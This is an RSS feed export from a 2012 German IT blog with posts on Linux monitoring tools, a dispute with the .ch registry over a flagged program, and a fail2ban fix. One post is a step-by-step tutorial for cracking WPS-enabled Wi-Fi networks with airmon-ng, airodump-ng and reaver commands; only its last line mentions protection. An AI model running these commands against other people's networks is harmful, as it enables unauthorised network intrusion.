<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2enclosuresfull.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:creativeCommons="http://backend.userland.com/creativeCommonsRssModule" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>IT Blögg</title>
	
	<link>http://www.murawski.ch</link>
	<description>Alles rund um einen IT Nerd</description>
	<lastBuildDate>Thu, 24 May 2012 08:31:46 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/ItBloegg" /><feedburner:info uri="itbloegg" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><creativeCommons:license>http://creativecommons.org/licenses/by-sa/2.0/</creativeCommons:license><feedburner:emailServiceId>ItBloegg</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><item>
		<title>Nützliche Linux Helfer</title>
		<link>http://feedproxy.google.com/~r/ItBloegg/~3/QzGUd2qWkZo/</link>
		<comments>http://www.murawski.ch/2012/05/top-ps-iftop-nload-iotop-iostat-vmstat-lsof/#comments</comments>
		<pubDate>Wed, 02 May 2012 08:48:48 +0000</pubDate>
		<dc:creator>Stefan</dc:creator>
				<category><![CDATA[Server]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.murawski.ch/?p=4994</guid>
		<description><![CDATA[&#160;Immer wieder möchte man wissen was bei Linux so gerade passiert und man hat auf der Konsole kein GUI-Taskmanager zur Verfügung. Dazu gibt es eine viel zahl kleiner Helfer welche die tägliche Arbeit sehr erleichtern. Hier stelle ich die Nützlichsten vor. top ist der bekannteste Helfer von Allen Top liefert eine Übersicht über den kompletten [...]]]></description>
			<content:encoded><![CDATA[&nbsp;<p><strong>Immer wieder möchte man wissen was bei Linux so gerade passiert und man hat auf der Konsole kein GUI-Taskmanager zur Verfügung. Dazu gibt es eine viel zahl kleiner Helfer welche die tägliche Arbeit sehr erleichtern. Hier stelle ich die Nützlichsten vor.</strong></p>
<table>
<tbody>
<tr>
<td valign="top"><strong>top</strong> ist der bekannteste Helfer von Allen<br />
Top liefert eine Übersicht über den kompletten Rechner oder Server.Wichtiger jedoch, man bekommt eine Liste laufenden Prozesse angezeigt mit RAM-Auslastung und CPU Last.Diese Liste aktualisiert sich alle 3 Sekunden und zeigt auch nur so viele Einträge wie auf dem Konsolenfenster platz haben. Wer jede CPU Core einzeln sehen möchte, kann noch die Taste &#8220;1&#8243; drücken.</td>
<td valign="top">
<p><div id="attachment_4995" class="wp-caption alignnone" style="width: 160px"><a href="http://bimg2.murawski.ch/wp-content/uploads/2012/05/top.png" rel="lightbox[4994]"><img class="size-thumbnail wp-image-4995" title="top" src="http://bimg2.murawski.ch/wp-content/uploads/2012/05/top-150x150.png" alt="" width="150" height="150" /></a><p class="wp-caption-text">top</p></div></td>
<td valign="top">
<p><div id="attachment_4996" class="wp-caption alignnone" style="width: 160px"><a href="http://bimg4.murawski.ch/wp-content/uploads/2012/05/top1.png" rel="lightbox[4994]"><img class="size-thumbnail wp-image-4996" title="top1" src="http://bimg3.murawski.ch/wp-content/uploads/2012/05/top1-150x150.png" alt="" width="150" height="150" /></a><p class="wp-caption-text">top mit allen CPU</p></div></td>
</tr>
<tr>
<td colspan="2" valign="top"><strong>ps aux</strong> zeigt eine Momentaufnahme aller Programme die ausgeführt werden mit Speicher und CPU Last.Dies wird auch häufig verwendet um zu prüfen ob ein einzelner Prozess noch läuft (mit grep zusammen).</td>
<td valign="top">
<p><div id="attachment_5007" class="wp-caption alignnone" style="width: 160px"><a href="http://bimg3.murawski.ch/wp-content/uploads/2012/05/psaux.png" rel="lightbox[4994]"><img class="size-thumbnail wp-image-5007" title="ps aux" src="http://bimg2.murawski.ch/wp-content/uploads/2012/05/psaux-150x150.png" alt="" width="150" height="150" /></a><p class="wp-caption-text">ps aux</p></div></td>
</tr>
</tbody>
</table>
<p>Auch die Informationen vom Netzwerk können sehr interessant und wichtig sein. Dies überwacht man mit:<br />
<span id="more-4994"></span><br />
<table>
<tbody>
<tr>
<td colspan="2" valign="top"><strong>iftop</strong> liefert Statistiken vom Netzwerk.Darüber findet man raus, welche Verbindungen in welcher Richtung offen sind und wie viel Traffic darüber läuft.</p>
<p>So kann man herausfinden welche Verbindungen am stärksten das Netzwerk belasten.</td>
<td valign="top">
<p><div id="attachment_5001" class="wp-caption alignnone" style="width: 160px"><a href="http://bimg3.murawski.ch/wp-content/uploads/2012/05/iftop.png" rel="lightbox[4994]"><img class="size-thumbnail wp-image-5001" title="iftop" src="http://bimg3.murawski.ch/wp-content/uploads/2012/05/iftop-150x150.png" alt="" width="150" height="150" /></a><p class="wp-caption-text">iftop</p></div></td>
</tr>
<tr>
<td colspan="2" valign="top"><strong>nload</strong> hilft einem zu zeigen wie stark ein Netzwerkadapter ausgelastet ist. Je höher der Graph, desto mehr Traffic läuft darüber.So sieht man schnell ob noch Bandbreite zur Verfügung steht, oder man gegebenenfalls reagieren müsste. Aktuell lief auf meinem Server nicht viel wie man sieht.</td>
<td valign="top">
<p><div id="attachment_5002" class="wp-caption alignnone" style="width: 160px"><a href="http://bimg3.murawski.ch/wp-content/uploads/2012/05/nload.png" rel="lightbox[4994]"><img class="size-thumbnail wp-image-5002" title="nload" src="http://bimg4.murawski.ch/wp-content/uploads/2012/05/nload-150x150.png" alt="" width="150" height="150" /></a><p class="wp-caption-text">nload</p></div></td>
</tr>
<tr>
<td colspan="2" valign="top"><strong>nethogs</strong> zeigt welcher Prozess wie viel Daten gerade erzeugt und übers Netzwerk verschickt. Sehr nützlich zum auffinden der Prozesse die Traffic erzeugen. Vielen Dank an <a href="http://www.murawski.ch/2012/05/top-ps-iftop-nload-iotop-iostat-vmstat-lsof/comment-page-1/#comment-18744">Zumbrunnen</a> für die Meldung!</td>
<td valign="top">
<p><div id="attachment_5029" class="wp-caption alignnone" style="width: 160px"><a href="http://bimg3.murawski.ch/wp-content/uploads/2012/05/nethogs.jpg" rel="lightbox[4994]"><img src="http://bimg3.murawski.ch/wp-content/uploads/2012/05/nethogs-150x150.jpg" alt="" title="nethogs" width="150" height="150" class="size-thumbnail wp-image-5029" /></a><p class="wp-caption-text">nethogs</p></div></td>
</tr>
</tbody>
</table>
<p>Sehr oft wird über RAM und CPU gesprochen im Zusammenhang mit Performance, leider dabei die Festplatte komplett ignoriert. Sehr oft jedoch ist die Festplatte schuld an schlechter Performance.</p>
<p>Bei geteilten Systemen wie VM Servern und Shared Hostings wird meist nur CPU und RAM garantiert, doch keine Durchsatzrate der Festplatte. Auf VM Servern liefern diese Tools aber nur Statistiken von den virtuellen Festplatten und nicht von der dahinter liegenden Infrastruktur, was dann keine aussagekräftigen Informationen liefert. Bei virtuellen Services sollte man sich daher eine  Durchsatzrate garantierten lassen.</p>
<table>
<tbody>
<tr>
<td colspan="2" valign="top"><strong>iotop</strong> liest die IOPS aus zu den einzelnen Programmen welche aktuell laufen.Mit diesem Tool kann man also die Programme identifizieren welche Festplattenlast erzeugen.</td>
<td valign="top">
<p><div id="attachment_5005" class="wp-caption alignnone" style="width: 160px"><a href="http://bimg2.murawski.ch/wp-content/uploads/2012/05/iotop.png" rel="lightbox[4994]"><img class="size-thumbnail wp-image-5005" title="iotop" src="http://bimg2.murawski.ch/wp-content/uploads/2012/05/iotop-150x150.png" alt="" width="150" height="150" /></a><p class="wp-caption-text">iotop</p></div></td>
</tr>
<tr>
<td colspan="2" valign="top"><strong>iostat</strong> liest die IOPS von Festplatten aus und zeigt eine Statistik.</td>
<td valign="top">
<p><div id="attachment_5004" class="wp-caption alignnone" style="width: 160px"><a href="http://bimg2.murawski.ch/wp-content/uploads/2012/05/iostat.png" rel="lightbox[4994]"><img class="size-thumbnail wp-image-5004" title="iostat" src="http://bimg4.murawski.ch/wp-content/uploads/2012/05/iostat-150x131.png" alt="" width="150" height="131" /></a><p class="wp-caption-text">iostat</p></div></td>
</tr>
</tbody>
</table>
<p>Über die RAM bekommt man leider nicht so viele Informationen wie man gerne möchte, dennoch hierzu das Tool:</p>
<table>
<tbody>
<tr>
<td colspan="2" valign="top"><strong>vmstat</strong> liefert mehr Informationen über die Auslastung der RAM, auch wenn das Ablesen von Daten hier sehr schwer ist, da hier nur eine Übersicht kommt und keine Details zu einzelnen Programmen.</td>
<td valign="top">
<p><div id="attachment_5003" class="wp-caption alignnone" style="width: 160px"><a href="http://bimg4.murawski.ch/wp-content/uploads/2012/05/vmstat.png" rel="lightbox[4994]"><img class="size-thumbnail wp-image-5003" title="vmstat" src="http://bimg2.murawski.ch/wp-content/uploads/2012/05/vmstat-150x49.png" alt="" width="150" height="49" /></a><p class="wp-caption-text">vmstat</p></div></td>
</tr>
</tbody>
</table>
<p>Wichtig ist auch, welche Daten sich gerade im Zugriff befinden. Datenbanken sind sicherlich jederzeit geöffnet und sollten daher nicht per Filebackup gesichert werden, da sonst Inkonsistenz auftreten wird.<br />
Das Tool hierzu ist:</p>
<table>
<tbody>
<tr>
<td colspan="2" valign="top"><strong>lsof</strong> zeigt uns alle Dateien welche gerade geöffnet sind. Diese Liste kann natürlich sehr lang werden.</td>
<td valign="top">
<p><div id="attachment_5006" class="wp-caption alignnone" style="width: 160px"><a href="http://bimg4.murawski.ch/wp-content/uploads/2012/05/lsof.png" rel="lightbox[4994]"><img class="size-thumbnail wp-image-5006" title="lsof" src="http://bimg3.murawski.ch/wp-content/uploads/2012/05/lsof-150x150.png" alt="" width="150" height="150" /></a><p class="wp-caption-text">lsof</p></div></td>
</tr>
</tbody>
</table>
<p>Jedes der Tools hat selbstverständlich noch Möglichkeiten zur Anpassung und Filterung.</p>
<p>Dadurch sind dies sehr mächtige Werkzeuge im täglichen Gebrauch oder zu Analysezwecken.</p>
&copy;2011 SMu - <a href=\"http://blog.murawski.ch/\">IT Blögg</a><img src=\"http://stats.murawski.ch/piwik.php?idsite=1&rec=1\" alt=\"\" /><img src="http://feeds.feedburner.com/~r/ItBloegg/~4/QzGUd2qWkZo" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.murawski.ch/2012/05/top-ps-iftop-nload-iotop-iostat-vmstat-lsof/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		<feedburner:origLink>http://www.murawski.ch/2012/05/top-ps-iftop-nload-iotop-iostat-vmstat-lsof/</feedburner:origLink></item>
		<item>
		<title>Switch droht mit Domain Sperre</title>
		<link>http://feedproxy.google.com/~r/ItBloegg/~3/kKMTgLqvZoA/</link>
		<comments>http://www.murawski.ch/2012/04/switch-droht-mit-domain-sperre/#comments</comments>
		<pubDate>Tue, 24 Apr 2012 13:37:57 +0000</pubDate>
		<dc:creator>Stefan</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[Switch]]></category>

		<guid isPermaLink="false">http://www.murawski.ch/?p=4972</guid>
		<description><![CDATA[&#160;Ob Switch Gebühren hortet und den Geldern mal schnell Switch Plus gründet, also Quersubvention, oder einfach sonst ihre Monopolstellung ausnutzt, ist in meinen Augen ein dreckiges Geschäft was man boykottieren sollte. Switch hatte nun eine neue Idee wie man Leute ärgern könnte um die Sicherheit zu erhöhen in dem man über alle .ch Domains ein [...]]]></description>
			<content:encoded><![CDATA[&nbsp;<p><a href="http://bimg4.murawski.ch/wp-content/uploads/2012/04/shitch-logo.jpg" rel="lightbox[4972]"><img src="http://bimg4.murawski.ch/wp-content/uploads/2012/04/shitch-logo.jpg" alt="" title="shitch-logo" width="200" height="59" class="alignright size-full wp-image-4982" /></a><strong>Ob Switch Gebühren hortet und den Geldern mal schnell Switch Plus gründet, also Quersubvention, oder einfach sonst ihre Monopolstellung ausnutzt, ist in meinen Augen ein dreckiges Geschäft was man boykottieren sollte.</strong></p>
<p>Switch hatte nun eine neue Idee wie man Leute ärgern könnte um die Sicherheit zu erhöhen in dem man über alle .ch Domains ein Viren- und Malwarescanner jagt.</p>
<p>Sollte nun eine Datei von solch einem Scanner als Malware erkannt werden, bekommt man ein solches Mail:<br />
<span id="more-4972"></span><br />
<blockquote>Sehr geehrter Herr Murawski</p>
<p>SWITCH, die Registrierungsstelle für &#8220;.ch&#8221; Domains, wurde darüber informiert, dass Ihr Domain-Name murawski.ch aktuell dazu missbraucht wird, schädliche Software (Malware) zu verbreiten.</p>
<p>Die URLs, die uns am 23.04.2012 17:28 gemeldet wurden, sind im Folgenden angeführt. Vorsicht! Öffnen Sie die URLs nicht in Ihrem Browser, da dies bereits zu einer Infektion Ihres Rechners führen kann. Aus Sicherheitsgründen haben wir die URLs verändert (&#8220;hxxp://&#8221; statt &#8220;http://&#8221;).</p>
<p>hxxp://blog.murawski .ch/wp-content/uploads/2010/09/ScreenLockFucker.exe</p>
<p>Höchstwahrscheinlich wurde der Code zur Verbreitung der schädlichen Software unbemerkt von Dritten auf Ihrer Website platziert, zum Beispiel durch eine Sicherheitslücke auf Ihrer Website, ein schwaches Passwort oder durch Spionagesoftware auf Ihrem PC. Dies hat ernste Konsequenzen für die Besucher Ihrer Website: Gegenwärtig kann sich jeder schon beim Aufruf Ihrer Website mit gefährlicher Malware wie Viren, E-Banking-Trojanern oder Würmern infizieren.</p>
<p>Als Halter des genannten Domain-Namens bzw. als technischer Kontakt sind Sie für die Inhalte der Website verantwortlich. Deshalb fordern wir Sie auf, den Code zur Verbreitung der schädlichen Software umgehend, jedoch spätestens bis am 24.04.2012 17:28 zu entfernen. Falls dies bis dahin nicht erfolgen sollte, werden wir zum Schutz der Besucher Ihrer Website folgende Schritte einleiten:</p>
<p>1. Löschung der Name-Server-Zuordnung, gestützt auf AGB Ziff. 3.2.3 lit. b in Verbindung mit Ziff. 3.3.2 Abs. 2 lit. e.  Dies bedeutet, dass Ihre Website nicht mehr erreichbar ist.<br />
http://www.nic.ch/de/terms/agb.html</p>
<p>2. Blockierung des Domain-Namens, gemäss AEFV Art. 14f bis.<br />
http://www.admin.ch/ch/d/sr/784_104/a14bist.html</p>
<p>3. Verständigen der zuständigen Behörden, um eine richterliche Verfügung zu beantragen.</p>
<p>Wir gehen davon aus, dass Sie den schädlichen Code schnellstmöglich beseitigen oder die betreffenden Websites von Ihrem Server entfernen. Unterstützung erhalten Sie dabei von Ihrem Hosting-Anbieter sowie auf der SWITCH-Website:<br />
http://www.nic.ch/de/faq/malware.html</p>
<p>Bitte bestätigen Sie uns umgehend die Entfernung des Codes durch eine Antwort auf diese E-Mail.</p>
<p>Freundliche Grüsse</p>
<p>SWITCH Internet Domains<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
SWITCH Internet Domains, Postfach, CH 8021 Zürich • http://www.nic.ch/de<br />
Tel. +41 (0) 848 844080 • Fax +41 (0) 848 844081 • E-Mail helpdesk@nic.ch</p></blockquote>
<p>Generell eine gute Idee von Switch und ich denke auch 95% aller Meldungen sind sehr treffend, doch darf man keine Arbeit nur halb machen.  Wenn man eine Rückmeldung vom Kunden erhaltet, sollte man sich die Mühe machen eine Datei zu testen, anstelle einfach &#8220;Wir bestehen auf die Lösung&#8221; mitzuteilen. Denn False-Positive gibt es genauso.</p>
<p>Entweder man macht es richtig oder lässt es ganz. Aber bei Monopolfirmen ist dass eben so eine Sache.</p>
<p>Tatsächlich rapportiert Virustotal eine unbekannte Malware bei mir:<br />
<a href="https://www.virustotal.com/file/b17e3add7c95b016a30b36640602085ca139a7ea6906aa1a7230bab428ee7be9/analysis/">https://www.virustotal.com/file/b17e3add7c95b016a30b36640602085ca139a7ea6906aa1a7230bab428ee7be9/analysis/</a><br />
<a href="http://bimg2.murawski.ch/wp-content/uploads/2012/04/switch.png" rel="lightbox[4972]"><img src="http://bimg2.murawski.ch/wp-content/uploads/2012/04/switch-600x173.png" alt="" title="switch" width="600" height="173" class="alignnone size-large wp-image-4975" /></a></p>
<p>Was ist das schon wieder für eine Datei?</p>
<p>Genau, wenn keine Benutzereingabe innerhalb von 10 Minuten passiert, sollte das Programm den Mauscurser 1 Pixel nach Links und wieder zurück bewegen. Dies, damit der Bildschirmschoner nicht aktiviert wird. Mehr kann das Programm nicht.<br />
Schwer gefährliche Malware!!</p>
<p>Klar könnte ich die Datei löschen und der Drohung entgehen:</p>
<blockquote><p>1. Löschung der Name-Server-Zuordnung, gestützt auf AGB Ziff. 3.2.3 lit. b in Verbindung mit Ziff. 3.3.2 Abs. 2 lit. e.  Dies bedeutet, dass Ihre Website nicht mehr erreichbar ist.<br />
http://www.nic.ch/de/terms/agb.html</p>
<p>2. Blockierung des Domain-Namens, gemäss AEFV Art. 14f bis.<br />
http://www.admin.ch/ch/d/sr/784_104/a14bist.html</p>
<p>3. Verständigen der zuständigen Behörden, um eine richterliche Verfügung zu beantragen.</p></blockquote>
<p>Aber hört es dabei auf? Oder fallen irgendwann meine anderen VB6 Programme auch mit in den Topf?</p>
<p>Als bekanntes Beispiel folgt der <a href="http://blog.murawski.ch/2009/10/die-wichtigsten-windows-7-tweaks/">Windows 7 Service Improver</a>, welcher auch VB6 Code ist, extrem viel am dem System rumbastelt und sogar auch schon von einem Scanner erkannt wird als Malware. Muss ich nun einfach all meine Programme entfernen weil irgendein Scanner Alarm brüllt? Viele User verlieren welche glücklich beim Setup schnell das Tool starten und Windows 7 gleich angepasst ist?</p>
<p>Ginge es vermutlich nach Switch wäre freie Meinungsäusserung im Internet genauso verboten wie meine Programme. Nein stimmt, ich könnte die Programme auch Passwortgeschützt Zippen und so den Scanner aus tricksen (was Switch vorschlägt)?<br />
Ich will aber kein ZIP, ich will eine EXE und ist es nicht meine Freiheit auf meinem Server eine EXE bereitzustellen?<br />
Rechtlich gesehen darf ich jedoch meine Programme solange verteilen wie diese keine Malware beinhalten. Da meine Programme gegebenenfalls als solches erkannt werden, macht es diese aber noch lange nicht zu <a href="http://de.wikipedia.org/wiki/Malware">Malware</a>, denn Malware sind Schadprogramme.</p>
<p>Mein Programm richtet keinen Schaden an, ausser das der Bildschirmschoner nicht aktiviert wird. Löscht man das Programm oder stoppt es, ist Alles vorbei.</p>
<p>Ich freue mich jedenfalls schon auf die Abschaltung der Domain und die rechtlichen Konsequenzen daraus (dies sind meine Haupt DNS Server für diverse Kunden), meine Rechtsschutzversicherung wahrscheinlich weniger.</p>
<p>Wie ich schon sagte, den Schutz generell finde ich toll,, findet der Scanner aber nur verlinkte Dateien. Setzte ich unverlinkte Dateien auf den Server, kann ich 1000de Viren uploaden ohne das Switch etwas bemerkt.<br />
Wie sinnvoll ist die Sache also am Ende wirklich noch?</p>
<p>Wie ich auch schon sagte, sollte Switch eine False-Positive Liste führen und gegebenenfalls per Sandboxie oder VM das Zeug testen sobald ein Kunde beteuert ein False-Positive in der Liste zu haben. Sonst macht das kein Sinn sonder ist reine Schikane.</p>
<p>Ich habe nun einfach die IPs der Scanner die regelmässig vorbeikommen gebannt und so werden sie meine Seiten nicht mehr scannen können. Mal schauen wie lange Switch den Dickschädel beibehält.</p>
<p>Ich glaub ich starte eine Initiative zur Abschaffung von Switch und die angesammelten Gelder müssen in den AHV Fond eingezahlt werden. Dann hätte das Volk wirklich etwas von Switch!</p>
&copy;2011 SMu - <a href=\"http://blog.murawski.ch/\">IT Blögg</a><img src=\"http://stats.murawski.ch/piwik.php?idsite=1&rec=1\" alt=\"\" /><img src="http://feeds.feedburner.com/~r/ItBloegg/~4/kKMTgLqvZoA" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.murawski.ch/2012/04/switch-droht-mit-domain-sperre/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://www.murawski.ch/2012/04/switch-droht-mit-domain-sperre/</feedburner:origLink></item>
		<item>
		<title>Fail2ban Lösung zu “fail2ban.actions.action: ERROR” im Logfile</title>
		<link>http://feedproxy.google.com/~r/ItBloegg/~3/P2-C8SprWWA/</link>
		<comments>http://www.murawski.ch/2012/04/fail2ban-problem-mit-returned-200-im-logfile/#comments</comments>
		<pubDate>Mon, 16 Apr 2012 20:18:41 +0000</pubDate>
		<dc:creator>Stefan</dc:creator>
				<category><![CDATA[Server]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Fail2Ban]]></category>

		<guid isPermaLink="false">http://www.murawski.ch/?p=4955</guid>
		<description><![CDATA[&#160;Fail2Ban ist eine gute Möglichkeit einen Server gegen unbefugte Anfragen zu schützen. Leider jedoch versagte der Dienst teilweise seine Funktion auf dem neuen Server, da dieser &#8220;zu schnell&#8221; war. Ein kleiner Bugfix half mir das Problem in den Griff zu bekommen. Ich habe mich gefragt warum Fail2Ban auf meinem Server immer wieder seinen Dienst verweigerte [...]]]></description>
			<content:encoded><![CDATA[&nbsp;<p><strong>Fail2Ban ist eine gute Möglichkeit einen Server gegen unbefugte Anfragen zu schützen. Leider jedoch versagte der Dienst teilweise seine Funktion auf dem neuen Server, da dieser &#8220;zu schnell&#8221; war. Ein kleiner Bugfix half mir das Problem in den Griff zu bekommen.</strong></p>
<p>Ich habe mich gefragt warum Fail2Ban auf meinem Server immer wieder seinen Dienst verweigerte und Filter nicht funktionierten.</p>
<p>Im Logfile sah ich unter den normalen Starteinträgen auch Fehler:</p>
<pre class="brush: plain; title: ; notranslate">
2012-04-16 21:59:41,884 fail2ban.actions.action: ERROR  iptables -N fail2ban-postfix
iptables -A fail2ban-postfix -j RETURN
iptables -I INPUT -p tcp -m multiport --dports smtp,ssmtp -j fail2ban-postfix returned 200
2012-04-16 21:59:41,886 fail2ban.actions.action: ERROR  iptables -N fail2ban-ssh
iptables -A fail2ban-ssh -j RETURN
iptables -I INPUT -p tcp -m multiport --dports ssh -j fail2ban-ssh returned 400
2012-04-16 21:59:41,888 fail2ban.actions.action: ERROR  iptables -N fail2ban-proftpd
iptables -A fail2ban-proftpd -j RETURN
iptables -I INPUT -p tcp -m multiport --dports ftp,ftp-data,ftps,ftps-data -j fail2ban-proftpd returned 200
2012-04-16 21:59:41,890 fail2ban.actions.action: ERROR  iptables -N fail2ban-named-refused-tcp
iptables -A fail2ban-named-refused-tcp -j RETURN
iptables -I INPUT -p tcp -m multiport --dports domain,953 -j fail2ban-named-refused-tcp returned 200</pre>
<p>Die Befehle welche scheinbar fehlgeschlagen sind, habe ich manuell nach kontrolliert und diese funktionieren problemlos.<br />
Warum also gibt es Fehler und warum starten diese nicht?</p>
<p>Ich bin über den Hinweis gestolpert, dass die Verarbeitungszeit von Fail2Ban zu schnell ist, damit IpTables nicht alle Befehle verarbeiten kann.</p>
<p>Man sollte daher <span id="more-4955"></span>ein kleinen Bugfix in der Datei /usr/bin/fail2ban-client anbringen:</p>
<pre class="brush: cpp; first-line: 142; highlight: [145]; title: ; notranslate">	def __processCmd(self, cmd, showRet = True):
		beautifier = Beautifier()
		for c in cmd:
			time.sleep(0.1)
			beautifier.setInputCmd(c)
			try:</pre>
<p>Hat man die Sleep Zeile eingefügt, startet Fail2Ban ohne Fehler.</p>
&copy;2011 SMu - <a href=\"http://blog.murawski.ch/\">IT Blögg</a><img src=\"http://stats.murawski.ch/piwik.php?idsite=1&rec=1\" alt=\"\" /><img src="http://feeds.feedburner.com/~r/ItBloegg/~4/P2-C8SprWWA" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.murawski.ch/2012/04/fail2ban-problem-mit-returned-200-im-logfile/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.murawski.ch/2012/04/fail2ban-problem-mit-returned-200-im-logfile/</feedburner:origLink></item>
		<item>
		<title>WLAN (WEP/WPA/WPA2) mit WPS hacken</title>
		<link>http://feedproxy.google.com/~r/ItBloegg/~3/OijYDNz5V8Y/</link>
		<comments>http://www.murawski.ch/2012/03/wlan-wepwpawpa2-mit-wps-hacken/#comments</comments>
		<pubDate>Fri, 30 Mar 2012 11:15:14 +0000</pubDate>
		<dc:creator>Stefan</dc:creator>
				<category><![CDATA[Programme]]></category>
		<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[Ultrabook]]></category>
		<category><![CDATA[UX31]]></category>
		<category><![CDATA[WLAN]]></category>

		<guid isPermaLink="false">http://blog.murawski.ch/?p=4927</guid>
		<description><![CDATA[&#160;Hier zeige ich wie man mit wenig Aufwand sehr viele WLAN Netze knacken kann. Dazu nutzen wir eine Sicherheitslücke im vielen WLAN Routern aus. Auch kann man sich vor dieser Methode schützen. Ich habe bereits über die Blacktrack Distribution (Ubuntu) geschrieben, wie man dies installiert und die Adapter für das Asus Ultrabook UX31 zum laufen [...]]]></description>
			<content:encoded><![CDATA[&nbsp;<p><strong>Hier zeige ich wie man mit wenig Aufwand sehr viele WLAN Netze knacken kann. Dazu nutzen wir eine Sicherheitslücke im vielen WLAN Routern aus. Auch kann man sich vor dieser Methode schützen.</strong></p>
<p>Ich habe bereits über die <a title="BlackTrack5 auf UX31" href="http://blog.murawski.ch/2012/01/backtrack-5-rc1-ubuntu-auf-ux31/">Blacktrack Distribution (Ubuntu)</a> geschrieben, wie man dies installiert und die Adapter für das Asus Ultrabook UX31 zum laufen bekommt.</p>
<p>Heute zeige ich eine Möglichkeit auf WLAN&#8217;s Passwörter damit wiederherzustellen.</p>
<p>Dafür gibt es einige Tools, welche mit BlackTrack CD gleich mitgeliefert werden. Die mitgelieferten Tools können zwar alle WLAN Netze öffnen, benötigen aber mehr Aufwand und mehr Zeit dazu.</p>
<p>Ein neues Tool mit den Namen <a href="http://code.google.com/p/reaver-wps/">Reaver</a> nutzt eine Sicherheitslücke welche in sehr vielen Routern vorhanden ist, um die Verschlüsselung zu öffnen, was deshalb viel schneller geht.<br />
Die Sicherheitslücke attackiert die WPS Implementierung welche in diversen Routern vorhanden ist. Diese erlaubt es, automatisiert Geräte ins Netz aufzunehmen ohne Kenntnis für das wirkliche WLAN Passwort.<br />
Dies sollte das Einrichten für Router erleichtern, doch hat in dem Fall ein neue Sicherheitslücke aufgemacht.</p>
<p>Als Grundlage für das Tool nutze ich wiederum die BackTrack Distrbution auf welcher diese Anleitung aufbaut. Da Reaver aber nicht mit BackTrack mitgeliefert wird, müssen wir dieses vorab installieren.</p>
<p>Dazu starten <span id="more-4927"></span>wir Blacktrack und installieren über den Command Promt das Tool:</p>
<blockquote><p>apt-get update<br />
apt-get install reaver -y</p></blockquote>
<p>Damit das Tool die WLAN Karte im Monitor Modus starten kann, müssen wir zuerst den Adapter wieder deaktivieren und die Karte speziell wieder starten:</p>
<blockquote><p>rfkill block all<br />
airmon-ng start wlan0</p></blockquote>
<p>Nun wird aufgelistet welches Monitor Interface gestartet wird, was meist mon0 ist. Merken!</p>
<p>Nun startet man die Suche nach den WLAN Netzen in der Umgebung:</p>
<blockquote><p>airodump-ng wlan0</p></blockquote>
<p>Falls dies nicht klappt, den Adapter mit &#8220;airodump-ng mon0&#8243; starten.</p>
<p>Nun folgt eine Auflistung der gefundenen Netze welche sich dynamisch aktualisiert. Hat man das Zielnetz gesehen, kann man mit CTRL + C die Suche abbrechen. In der Auflistung kann man sich dann die BSSID Nummer merken (z.B. 00:18:AB:C4:6A:FD).</p>
<p>Hat man zu das Monitor Interface und die BSSID kann man wie folgt Reaver starten:</p>
<blockquote><p>reaver -i mon0 -b 00:18:AB:C4:6A:FD -vv</p></blockquote>
<p>Nun braucht ihr Zeit. Reaver selbst gibt an 4-10 Stunden kann es dauern, danach hat man erfolgreich das WLAN geöffnet. Wie bereits oben erwähnt geht dies Vorgehen nur für Router mit WPS Funktion.</p>
<p>Für Router ohne WPS Funktion muss man weiterhin auf andere Methoden zurückgreifen.</p>
<p>Um sich davor zu schützen, ein Router ohne WPS Funktion nutzen, oder diese deaktivieren (falls die Möglichkeit besteht).</p>
&copy;2011 SMu - <a href=\"http://blog.murawski.ch/\">IT Blögg</a><img src=\"http://stats.murawski.ch/piwik.php?idsite=1&rec=1\" alt=\"\" /><img src="http://feeds.feedburner.com/~r/ItBloegg/~4/OijYDNz5V8Y" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.murawski.ch/2012/03/wlan-wepwpawpa2-mit-wps-hacken/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.murawski.ch/2012/03/wlan-wepwpawpa2-mit-wps-hacken/</feedburner:origLink></item>
		<item>
		<title>PHP Trojaner von adveconfirm.com</title>
		<link>http://feedproxy.google.com/~r/ItBloegg/~3/Xwf42a-zoO4/</link>
		<comments>http://www.murawski.ch/2012/03/php-trojaner-von-adveconfirm/#comments</comments>
		<pubDate>Sun, 18 Mar 2012 19:34:26 +0000</pubDate>
		<dc:creator>Stefan</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Server]]></category>
		<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[Apache2]]></category>
		<category><![CDATA[Malware]]></category>
